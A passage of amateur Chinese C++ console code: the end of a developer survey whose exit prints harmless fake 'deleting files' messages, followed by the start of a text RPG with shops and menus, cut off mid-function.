    cout<<"请问以上答案是否需要重新填写?如果需要重新填写,请输入1,如果不需要重新填写,请输入0"<<endl;Sleep(100);
    cin>>Q;
    if(Q=="1"){
    for(;;){
    cout<<"正在重新进入调查问卷。"<<endl;Sleep(250);
    for(int i=1;i<=20;i++){
    if(i>=1&&i<=10||i>=17&&i<=20){Sleep(200);cout<<"█";}
    else {Sleep(350);cout<<"█";}
    
    }
    cout<<endl<<"已重新进入调查问卷。"<<endl<<endl<<endl;Sleep(100);
    string A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R;
    cout<<"在正式开始调查问卷前,请输入您的真实姓名。"<<endl;Sleep(100);
    cin>>R;
    cout<<"正式进入调查问卷。"<<endl;Sleep(200);
    cout<<"调查问卷:"<<endl;Sleep(200);
    cout<<"本次调查问卷的每一道题都要认真思考后再选择"<<endl<<endl;Sleep(200);
    cout<<"开始答题。"<<endl<<endl<<endl;Sleep(200);
    cout<<"第1题:请问您对这个作品满意吗?"<<endl;Sleep(200);
    cout<<"A.满意 B.不满意"<<endl;Sleep(100);
    cin>>A;
    if(A=="B"){
    cout<<"请问还有哪些需要修改"<<endl;Sleep(100);
    cin>>B;
    cout<<"感谢您的反馈!"<<endl;Sleep(200);
    }
    else if(A=="A"){cout<<"感谢您对我们的认可!";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第2题:请问您知道这个作品的开发者吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>C;
    if(C=="A"){
    cout<<"请问这个作品的开发者是谁(输入名字)"<<endl;Sleep(100);
    cin>>K;
    if(K!="谭俊涵"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个作品的开发者是:玄——后室迷";Sleep(200);
    }
    else if(K=="玄——后室迷"){
    cout<<"回答正确!";Sleep(200);
    }
    }
    else if(C=="B"){cout<<"这个作品的开发者是:玄——后室迷";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第3题:请问您对这个作品的开发者熟系吗?"<<endl;Sleep(200);
    cout<<"A.熟系 B.不熟系"<<endl;Sleep(100);
    cin>>J;
    cout<<"下一题"<<endl;Sleep(200);
    cout<<"第4题:请问您知道这个作品是哪个工作室开发的吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>G;
    if(G=="A"){
    cout<<"请问这个作品的工作室是哪个工作室?"<<endl;Sleep(100);
    cin>>L;
    if(L!="神羽工作室"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"开发这个作品的工作室是:神羽工作室";Sleep(200);
    }
    else if(L=="神羽工作室"){
    cout<<"回答正确!";Sleep(200);
    }
    }
    else if(G=="B"){cout<<"开发这个作品的工作室是:神羽工作室";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第5题:请问您知道这个作品的工作室有那些成员吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>H;
    if(H=="A"){
    cout<<"请问这个工作室有哪些成员?(提示:一个人)"<<endl;Sleep(100);
    cin>>M>>N;
    if(M=="玄——后室迷"){
    cout<<"回答正确!";Sleep(200);
    }
    else{
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个工作室有这个成员:玄——后室迷";Sleep(200);
    }
    }
    else if(H=="B"){cout<<"这个工作室有这个成员:玄——后室迷";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第6题:请问您对这个工作室熟系吗?"<<endl;Sleep(200);
    cout<<"A.熟系 B.不熟系"<<endl;Sleep(100);
    cin>>I;
    cout<<"下一题"<<endl;Sleep(200);
    cout<<"第7题:请问您知道这个作品会到哪一版停更吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>D;
    if(D=="A"){
    cout<<"请问这个作品会到哪一版停更?"<<endl;Sleep(100);
    cin>>O;
    if(O!="5.0"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个作品将会到5.0停更";Sleep(200);
    }
    else{
    cout<<"回答正确";Sleep(200);
    }
    }
    else if(D=="B"){cout<<"这个作品将会到5.0停更";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第8题:请问您知道您正在游玩的这个作品是哪个版本吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>E;
    if(E=="A"){
    cout<<"请问您正在游玩的这个版本是哪个版本的?"<<endl;Sleep(100);
    cin>>P;
    if(O!="5.0"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"您现在游玩的是5.0版";Sleep(200);
    }
    else{
    cout<<"回答正确";Sleep(200);
    }
    }
    else if(E=="B"){cout<<"您现在游玩的是5.0版";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第9题:请问您是从哪一个版本玩起的?"<<endl;Sleep(200);
    cout<<"A. 1.0 B. 1.5 C. 2.0 D. 2.5 E. 3.0 F. 3.5 G. 4.0 H. 4.5 I. 5.0"<<endl;Sleep(100);
    cin>>F;
    cout<<"您的真实名字是"<<" ";Sleep(200);
    cout<<R<<endl<<endl;Sleep(100);
    cout<<"第1题您的答案是"<<" ";Sleep(200);
    cout<<A<<endl<<endl;Sleep(100);
    cout<<"第2题您的答案是"<<" ";Sleep(200);
    cout<<C<<endl<<endl;Sleep(100);
    cout<<"第3题您的答案是"<<" ";Sleep(200);
    cout<<J<<endl<<endl;Sleep(100);
    cout<<"第4题您的答案是"<<" ";Sleep(200);
    cout<<G<<endl<<endl;Sleep(100);
    cout<<"第5题您的答案是"<<" ";Sleep(200);
    cout<<H<<endl<<endl;Sleep(100);
    cout<<"第6题您的答案是"<<" ";Sleep(200);
    cout<<I<<endl<<endl;Sleep(100);
    cout<<"第7题您的答案是"<<" ";Sleep(200);
    cout<<D<<endl<<endl;Sleep(100);
    cout<<"第8题您的答案是"<<" ";Sleep(200);
    cout<<E<<endl<<endl;Sleep(100);
    cout<<"第9题您的答案是"<<" ";Sleep(200);
    cout<<F<<endl<<endl;Sleep(100);
    cout<<"请问以上答案是否需要重新填写?如果需要重新填写,请输入1,如果不需要重新填写,请输入0"<<endl;Sleep(100);
    int dfg;
    cin>>dfg;
    if(dfg==0){
    MessageBox(NULL,"本作品的开发者是:玄——后室迷","感谢您的回答!",MB_OK);
    MessageBox(NULL,"本作品制作核心内容的是:玄——后室迷","感谢您的回答!",MB_OK);
    MessageBox(NULL,"本作品制作调查问卷的是:玄——后室迷","感谢您的回答!",MB_OK);
    MessageBox(NULL,"本作品的工作室是:神羽工作室","感谢您的回答!",MB_OK);
    MessageBox(NULL,"本作品的代言人是:玄——后室迷","感谢您的回答!",MB_OK);
    MessageBox(NULL,"玄——后室迷.","感谢您的回答!",MB_OK);
    MessageBox(NULL,"我们神羽工作室会更加努力创作更多作品。再见!","感谢您的回答!",MB_OK);
    break;
    }int QWE=0;
    if(dfg!=0&&dfg!=1){
    
    for(;;){
    cout<<"您没有输入1 或者0 哦!"<<endl<<endl;
    cin>>dfg;
    if(dfg==0){QWE=1;break;}
    if(dfg==1){break;}
    }
    }
    if(QWE==1)break;
    
    }
    }
    
    } if(q==0){
    cout<<"退出游戏中......"<<endl;Sleep(100);
    cout<<"删除数据中......"<<endl;Sleep(250);
    cout<<"删除账号中......"<<endl;Sleep(100);
    cout<<"删除存档中......"<<endl;Sleep(200);
    cout<<"删除indvsh.sfjds中......"<<endl;Sleep(60);
    cout<<"删除sdkgvsc中......"<<endl;Sleep(100);
    cout<<"删除.sdghfdj中......"<<endl;Sleep(80);
    cout<<"删除fdlg.dg中......"<<endl;Sleep(150);
    cout<<"删除dsfvnksdl中......"<<endl;Sleep(10);
    cout<<"删除fh.gffg/bea'sgnfd.,中......"<<endl;Sleep(150);
    cout<<"删除adbhwj#vsg@^dvbsvkcd中......"<<endl;Sleep(120);
    cout<<"删除fdsjkfg[sgkfd[vsdhk中......"<<endl;Sleep(60);
    cout<<"删除sfg?ds中......"<<endl;Sleep(60);
    cout<<"删除afhdogh!df*jso中......"<<endl;Sleep(500);
    cout<<"删除sdghfsids.g,ef>sjgv中......"<<endl;Sleep(60);
    cout<<"删除gfsdgdfbrsvbmm,nbdfb中......"<<endl;Sleep(35);
    cout<<"删除drgtfhrth>*dgjfi-ndfj中......"<<endl;Sleep(500);
    cout<<"删除sghdfjs.vbf/rws*vfdj中......"<<endl;Sleep(120);
    cout<<"删除sgh-+gdfigd5gv4df中......"<<endl;Sleep(100);
    cout<<"删除fdgh(2364e_dshf)dsnv中......"<<endl;Sleep(430);
    cout<<"删除ergh?;fgghdfjjbnd中......"<<endl;Sleep(100);
    cout<<"删除ergjwifgvb]ds.fjgsdfgvb中......"<<endl;Sleep(63);
    cout<<"删除sgufhailfd.hvguesao中......"<<endl;Sleep(150);
    cout<<"删除sdfvnj^&sdvfgadfh.d/h中......"<<endl;Sleep(130);
    cout<<"删除fdngfd.a823fbdh中......"<<endl;Sleep(190);
    cout<<"删除srgjirgerh./io,fgjbdgbgv中......"<<endl;Sleep(260);
    cout<<"删除rgtdrjhythcgdfghrj456中......"<<endl;Sleep(450);
    cout<<"删除jrekf62中......"<<endl;Sleep(610);
    cout<<"删除sghdfvnd.k,中......"<<endl;Sleep(500);
    cout<<"删除regfdibndj中......"<<endl;Sleep(300);
    cout<<"删除efgbvfvuseifg中......"<<endl;Sleep(456);
    cout<<"删除ksdfgbfjdngvsdfsdkp.m//dfv中......"<<endl;Sleep(300);
    cout<<"删除.vnjdsihgdfsj中......"<<endl;Sleep(600);
    cout<<"删除sjdgovjdfnngdf,sd;sdgf中......"<<endl;Sleep(123);
    cout<<"删除dfggdjfsjvjmndkcsdkfjkdkfjd中......"<<endl;Sleep(560);
    cout<<"删除dfgbfjdkvsklefhidos中......"<<endl;Sleep(320);
    cout<<"删除f,edufdhsbdg中......"<<endl;Sleep(500);
    cout<<"删除efgehsifvdsiorgpw中......"<<endl;Sleep(350);
    cout<<"删除gfjdondovdfon中......"<<endl;Sleep(300);
    cout<<"删除fjdiv.s?fso中......"<<endl;Sleep(860);
    cout<<"删除dgjskdlvc'sg中......"<<endl;Sleep(530);
    cout<<"删除edfuidsfg中......"<<endl;Sleep(163);
    cout<<"删除.renshengchongkaimoniqi中......"<<endl;Sleep(2000);
    cout<<"删除.tanyugongzuoshi中......"<<endl;Sleep(3000);
    cout<<"文件全部删除成功"<<endl;Sleep(40);
    cout<<"已退出游戏,再见"<<endl;
    }
    
    
    return 0;
    }
    

    Copy

    Copy

    #include<iostream>  
    #include<conio.h>
    #include<windows.h>
    #include<stdlib.h>
    #include<stdio.h>
    #include<time.h>            
    #include<string.h>
    using namespace std;
    int main()
    {
        int ty,o,j,p,n,sh=5,sm=40,dm=0;
        long long jb,bs=0,lj=0,sj=0,emzr=0,hyj=0,jssj=0,pgj=0,szj=0,hjj=0,zspf=0,hy=0,hfhzj=0,bd=1,ylb=1,zd=1,tnt=1;
    	system("color 3F");
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
        FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
        FOREGROUND_BLUE);
        Sleep(400);
        cout<<"请";
        Sleep(400);
        cout<<"输";
        Sleep(400);
        cout<<"入";
        Sleep(400);
        cout<<"你";
        Sleep(400);
        cout<<"的";
        Sleep(400);
        cout<<"幸";
        Sleep(400);
        cout<<"运";  
        Sleep(400);
        cout<<"数";
        Sleep(400);
        cout<<"字"<<endl;  
    	cin>>ty;
        if(ty==41) 
    	{
    		cout<<"你是欧皇!!!!!"<<endl; 
    		cout<<"金币+1000000000000000000000!!!!!"<<endl<<endl; 
    		jb=1000000000000000000000; 
    	}
    	else
    	{
    		cout<<"你~运~气~一~般~般~啊!!!!!"<<endl<<endl;
    		jb=0;
    	}
        Sleep(400);
        cout<<"这";
        Sleep(400);
        cout<<"是";
        Sleep(400);
        cout<<"一";
        Sleep(400);
        cout<<"个";
        Sleep(400);
        cout<<"勇";
        Sleep(400);
        cout<<"者";
        Sleep(400);
        cout<<"的";
        Sleep(400);
        cout<<"世";
        Sleep(400);
        cout<<"界";      
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
        FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
        FOREGROUND_GREEN);
        Sleep(400);
        cout<<"  你";
        Sleep(400);
        cout<<"想";
        Sleep(400);
        cout<<"来";
        Sleep(400);
        cout<<"挑";
        Sleep(400);
        cout<<"战";
        Sleep(400);
        cout<<"一";
        Sleep(400);
        cout<<"下";
        Sleep(400);
        cout<<"吗";
        Sleep(400);
        cout<<"?"<<endl<<"            制作用时:41小时52分\n";
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
        FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
        FOREGROUND_RED);
         Sleep(400);
        cout<<"  确";
        Sleep(400);
        cout<<"认";
        Sleep(400);
        cout<<"输";
        Sleep(400);
        cout<<"入";
        Sleep(400);
        cout<<"1,";
        Sleep(400);
        cout<<"否";
        Sleep(400);
        cout<<"则";
        Sleep(400);
        cout<<"输";
        Sleep(400);
        cout<<"入";
        Sleep(400); 
        cout<<"2"<<endl;         
        cin>>o;   
    	 if(o==2)
    	{   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
            FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
            FOREGROUND_RED);
    		cout<<"你不行啊!\n";
    	}
        if(o==1)
        {
        	 zcd:
        	 for(;;)
        	 {
        	 		 	system("color 3F");
          	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
            FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
            cout<<"                                                                                                      \n";
    	    cout<<"  ----------------*主菜单*----------------                          如果你是新手,请在主菜单输入‘5 ’\n";
    	    cout<<"  |1.移动 2.查看背包 3.回血 4.战斗 5.其他|                          进入其他,在其他里输入数字‘2 ’  \n";
            cout<<"  --------------祝您玩的开心--------------                          进入游戏相关信息,了解游戏规则    \n"; 
            cout<<"                                                                                                      \n";
    	    cin>>o;	
        
        
        
        
        
        
              if(o==1)
            {
            	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
            	goto yd;
           	}
           	
           	
           	
           	  if(o==2)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto ckbb;
    		}
    		
    		
    		
    		 if(o==3)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto hx;
    		}
    		
    			 if(o==4)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto zd;
    		}
    		
    			 if(o==5)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    		  	goto qt;
    		}
    		
    		
             yd:
             			 system("color 3F");
            	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_GREEN);
                cout<<"  -------------*请选择*-------------------------  \n";
    	        cout<<"  |  1.铁匠铺  2.盔甲铺  3.技能店 4.返回主菜单 |  \n";
                cout<<"  -----------祝您玩的开心-----------------------  \n";
    		    cin>>j;
    		    
        
        
        
        
            if(j==1)
            {
            	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
            	goto tjp;
           	}
           	
           	if(j==2)
           	{
           		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
           		goto kjp;
    		}
    		
    		if(j==3)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    			goto jnd;
    		}
    		
    		if(j==4)
    		{
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"\n电脑正在拼命加载中...\n\n\n";
                Sleep(1000);
    			goto zcd;
    		}
            
                 tjp:
    			 system("color 3F");
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
                cout<<"  -------------*铁匠铺*-------------------------------------------------------------------------------------  \n";
    	        cout<<"  |  1.匕首(50金币,+2伤害)2.利剑(80金币,+3伤害)3.圣剑(120金币,+5伤害)4.恶魔之刃(200金币,+7伤害) |  \n";
    			cout<<"  |  5.火焰剑(300金币,+10伤害)6.绝世圣剑(500金币,+20伤害) 7.返回主菜单                                 |  \n";
    		    cout<<"  ------------------------------祝您玩的开心----------------------------------------------------------------  \n";
    		    cin>>p;
    		    if(p==1)
              {
                if(jb>=50)
                {
                bs++;jb-=50;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了匕首,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                goto zcd;
                
    	      }
    	       if(p==2)
              {
                if(jb>=80)
                {
                lj++;jb-=80;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了利剑,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==3)
              {
                if(jb>=120)
                {
                sj++;jb-=120;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了圣剑,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==4)
              {
                if(jb>=200)
                {
                emzr++;jb-=200;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了恶魔之刃,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==5)
              {
                if(jb>=300)
                {
                hyj++;jb-=300;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了火焰剑,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==6)
              {
    	
                if(jb>=500)
                {
                jssj++;jb-=500;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了绝世圣剑,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
              }
    	        if(p==7)
    	        {
    	        	goto zcd;
    			}
    	      
    	      
    	      
    	      
    	      
    	         kjp:
    			 system("color 3F");
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
                cout<<"  -------------*盔甲铺*---------------------------------------------------------------------------------------------  \n";
    	        cout<<"  |  1.皮革甲(50金币,+4防御)2.锁子甲(80金币,+6防御)3.黄金甲(120金币,+10防御)4.钻石披风(200金币,+14防御) |  \n";
    			cout<<"  |  5.火焰甲(300金币,+20防御)6.火凤凰之甲(500金币,+40防御) 7.返回主菜单                                       |  \n";
    		    cout<<"  ------------------------------祝您玩的开心------------------------------------------------------------------------  \n";
    		
    		    cin>>p;
    		    if(p==1)
              {
                if(jb>=50)
                {
                pgj++;jb-=50;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了皮革甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==2)
              {
                if(jb>=80)
                {
                szj++;jb-=80;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了锁子甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==3)
              {
                if(jb>=120)
                {
                hjj++;jb-=120;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了黄金甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==4)
              {
                if(jb>=200)
                {
                zspf++;jb-=200;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了钻石披风,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==5)
              {
                if(jb>=300)
                {
                hy++;jb-=300;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了火焰甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==6)
              {
                if(jb>=500)
                {
                hfhzj++;jb-=500;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了火凤凰之甲,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	      if(p==7)
    	      {
    	      	goto zcd;
    		  }
    	    
    	    
    	    
    	    
    	    
    	         jnd:
    			 system("color 3F");
    			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE |
                FOREGROUND_BLUE);
                cout<<"  -------------*技能店*------------------------  \n";
    	        cout<<"  |1.绷带 2.医疗包 3.炸弹 4.手雷 5.返回主菜单 |  \n";
    	        cout<<"  |150金币 250金币 200金币 300金币            |  \n";
                cout<<"  -----------祝您玩的开心----------------------  \n";
    	        cin>>p;
    		    if(p==1)
              {
                if(jb>=150)
                {
                bd++;jb-=150;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了绷带,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==2)
              {
                if(jb>=250)
                {
                ylb++;jb-=250;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
                FOREGROUND_RED | FOREGROUND_GREEN | BACKGROUND_BLUE| BACKGROUND_GREEN| BACKGROUND_RED);
                cout<<"您购买了医疗包,您现在有"<<jb<<"金币\n";
                }
                else
                {
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |
                FOREGROUND_RED);
                cout<<"您没有足够的金币\n";
                }
                Sleep(800);
                 goto zcd;
                 
    	      }
    	       if(p==3)
              {
                if(jb>=200)
                {
                zd++;jb-=200;
                SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY |
